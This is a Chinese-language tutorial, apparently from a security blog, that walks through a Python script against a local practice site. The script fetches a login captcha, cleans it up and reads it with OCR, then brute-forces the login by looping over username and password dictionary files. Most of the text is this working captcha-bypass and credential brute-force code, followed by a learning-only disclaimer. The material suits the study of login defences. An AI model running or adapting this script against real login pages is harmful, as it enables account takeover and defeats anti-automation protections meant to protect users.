实验环境:本地靶场
验证码错误时,服务器端会重新生成验证码,不能使用burpsuite进行暴力破解;
我们使用python脚本对验证码进行识别,然后进行暴力破解。
验证码图片识别:
from PIL import Image import tesserocr s = requests.session() headers = {'User-Agent':'Mozilla/5.0'} def getCode(): # 获取验证码 res = s.get('http://127.0.0.1/publish/showvcode.php?').content # 打开图片url返回图片二进制数据 with open('verify.jpg','wb') as v: v.write(res) # 将二进制数据写入图片 # 重新打开生成的文件 image = Image.open('verify.jpg') # 转灰色 image = image.convert('L') # 二值化 threshold = 1 table = [] for i in range(256): if i < threshold: table.append(0) else: table.append(1) image = image.point(table,'1') # 显示图片 image.show() # 识别图片文字 code = tesserocr.image_to_text(image) print(code.strip('\n')) getCode()

原图一般为彩色,对识别有一定的影响,所以要先对图片进行一些特殊处理:转灰色、二值化等;
处理过的验证码图片:
识别结果:
在识别验证码可能会存在一些不准确的概率,不过影响不大;
之后就是将识别后的验证码,与读取的用户名,密码内容,传送给服务器,循环暴力破解。
完整脚本:
from PIL import Image import tesserocr import requests import re # # s = requests.session() url = 'http://127.0.0.1/check_login_code.php' # 登录页面url headers = {'User-Agent':'Mozilla/5.0'} # def getCode(): # 获取验证码 res = s.get('http://127.0.0.1/publish/showvcode.php?').content # 打开图片url返回图片二进制数据 with open('verify.jpg','wb') as v: v.write(res) # 将二进制数据写入图片 # 重新打开生成的文件 image = Image.open('verify.jpg') # 转灰色 image = image.convert('L') # 二值化 threshold = 1 table = [] for i in range(256): if i < threshold: table.append(0) else: table.append(1) image = image.point(table,'1') # 显示图片 #image.show() # 识别图片文字 code = tesserocr.image_to_text(image) # print(code.strip('\n')) return code.strip('\n') #getCode() def getResult(headers,data): # 发送请求 r = s.post(url,headers=headers,data=data) if re.search('success',r.text)!=None: print('找到正确密码:',data) return 1 else: if re.search('验证码',r.text) != None: return 2 def putPass(user,pwd): # 传递参数,发送请求 code = getCode() # 获取验证码 data = {"user":user,"pwd":pwd,"code":code} #print(data) result = getResult(headers,data) if result ==1: return 1 elif result ==2: putPass(user,pwd) else: return 3 def getUserPass(): # 获取字典中的用户名密码 # 打开账号文件 userfile = open('user.txt',mode='r') for user in userfile: user = user.strip('\n') # 去掉换行符 # 打开密码文件 passfile = open('pass.txt',mode='r') # 循环破解密码 for pwd in passfile: pwd = pwd.strip('\n') flag = putPass(user,pwd) passfile.close() userfile.close() getUserPass()

运行结果:
声明:本篇文章仅作学习交流,请勿用于违法行为!